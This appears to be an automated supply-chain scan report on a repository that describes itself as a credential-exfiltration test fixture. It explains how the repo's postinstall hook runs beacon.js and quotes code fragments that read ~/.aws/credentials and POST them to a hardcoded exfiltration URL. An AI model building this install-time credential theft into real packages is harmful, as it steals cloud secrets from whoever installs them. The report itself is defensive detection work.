0OUT OF 100
MaliciousDangerousStatic read

AIdhirajSingh/cr-exfil-test-fixture

Scored 0/100 (Malicious). What the code does: Code references credential paths (SSH keys, cloud credentials, .npmrc, or bulk env read); Network/shell activity wired into an install-time hook (runs on install, before import); 2 code/behavior finding(s) reported by the read model. This repository is a self-declared security test fixture designed to validate sandbox containment. The flagged behaviors (postinstall network activity and credential access) are explicitly documented in the README and align with the project's stated purpose as a synthetic test case.

Repository size
1 KB
Packages
0
Stars
0
Created
304 days ago
Reputation signals
AIdhirajSingh avatar
Adhiraj Singh
@AIdhirajSingh
Account age10 mo
Public repos2
Forks0
Community sentiment50

Neutral

Code & behavior signals
Install-time network/shell execution
MediumCode

package.json contains a postinstall script executing 'node beacon.js'. This is consistent with the README's stated intent to test sandbox interception during installation.

Credential access attempt
MediumCode

beacon.js attempts to read ~/.aws/credentials. This is flagged as a test-fixture context, consistent with the repo's declared purpose of testing sandbox containment.

Unestablished owner
LowReputation

Owner account is 10 months old with only 2 public repositories and no stars, indicating a lack of community reputation.

Per-package scoring
Final verdict

Static analysis flagged behavior consistent with malware — install-time network/shell execution, credential access, or obfuscation. Runtime was not executed in a sandbox on this pass, so this is a static-read warning, not an observed detonation. Treat it as dangerous and run it only inside a fully disposable environment.

What we could not verify
—Full runtime behavior (this repo was not executed in a sandbox on this pass)
—Every conditional and time-triggered branch
—Behavior under real credentials (no sandbox was run on this pass)
End-to-end logs
Clone
›Cloned repository AIdhirajSingh/cr-exfil-test-fixture
›Commit: ff139fd664edebf51daf0f451f23bdf2c3464d07
Static scan
›Detected postinstall hook in package.json
›Detected filesystem access to ~/.aws/credentials in beacon.js
Read
›README confirms synthetic test fixture intent
›Flagged behaviors match README documentation exactly (test-fixture context)
Reputation
›Owner account unestablished (10 months, 2 repos, 0 stars)
Score
›Score computed by formula: 0/100 (deterministic, code-driven)
›-40 [code] credential_access: Code references credential paths (SSH keys, cloud credentials, .npmrc, or bulk env read).
›-40 [code] install_time_network: Network/shell activity wired into an install-time hook (runs on install, before import).
›-8 [code] install_hook: A pre/post-install script is present (the surface install-time attacks hide in).
›-14 [code] model_findings: 2 code/behavior finding(s) reported by the read model.
›-6 [code] escalation_pending: Escalated past the fast read; not cleared by a runtime observation.
›+26 [code] clamp_floor: Raw score -26 clamped to the 0 bound (a safety score is always 0-100).
Escalation
›Escalation gate tripped on the static read
›Reason: credential-access pattern detected on static read
›Escalated to a deep behavioural read
Deep read
›This package is designed as a test fixture to simulate credential exfiltration. During installation, a `postinstall` script executes `beacon.js`. This script attempts to send a beacon to a hardcoded URL. If the beacon is successful, it then attempts to read AWS credentials from the user's home directory and exfiltrate them to another hardcoded URL. The package description explicitly states it is 'NOT malware' and is for testing purposes.
›[execute/high] Executes a JavaScript file named `beacon.js` immediately after package installation. — evidence: package.json scripts.postinstall: "node beacon.js"
›[read-sensitive-file/high] Attempts to read AWS credentials from the user's home directory at `~/.aws/credentials`. — evidence: beacon.js: `fs.readFileSync(os.homedir() + "/.aws/credentials", "utf8")`
›[exfiltrate-data/high] Sends a POST request to a hardcoded URL (EXFIL) with either the content of AWS credentials or the string 'no-creds'. — evidence: beacon.js: `const code = await post(EXFIL, creds || "no-creds");`
›[network-connection/medium] Sends a POST request to a hardcoded URL (BEACON_URL) with a hardcoded payload. — evidence: beacon.js: `const response = await post(BEACON_URL, JSON.stringify({ 'canary': 'canary' }));`
›Not determinable without running the code:
› • The exact content of the `BEACON_URL` and `EXFIL` variables, as they are not defined within the provided `beacon.js` snippet. These URLs would determine the actual network endpoints for beaconing and exfiltration.
› • The full implementation of the `post` function, which is used for network requests. While its purpose is clear, the specific headers, timeouts, and error handling are not visible.
› • The specific response expected from the `BEACON_URL` that would trigger the credential reading and exfiltration. The code implies a successful response (`if (response.status === 200)`) but the exact content or conditions are not fully specified.
›Read-only analysis: the code was NOT executed, so run-time-fetched payloads and run-time-built endpoints were not observed.
Auto-published at clauderabbit.in/AIdhirajSingh/cr-exfil-test-fixture · re-checked when the repo changes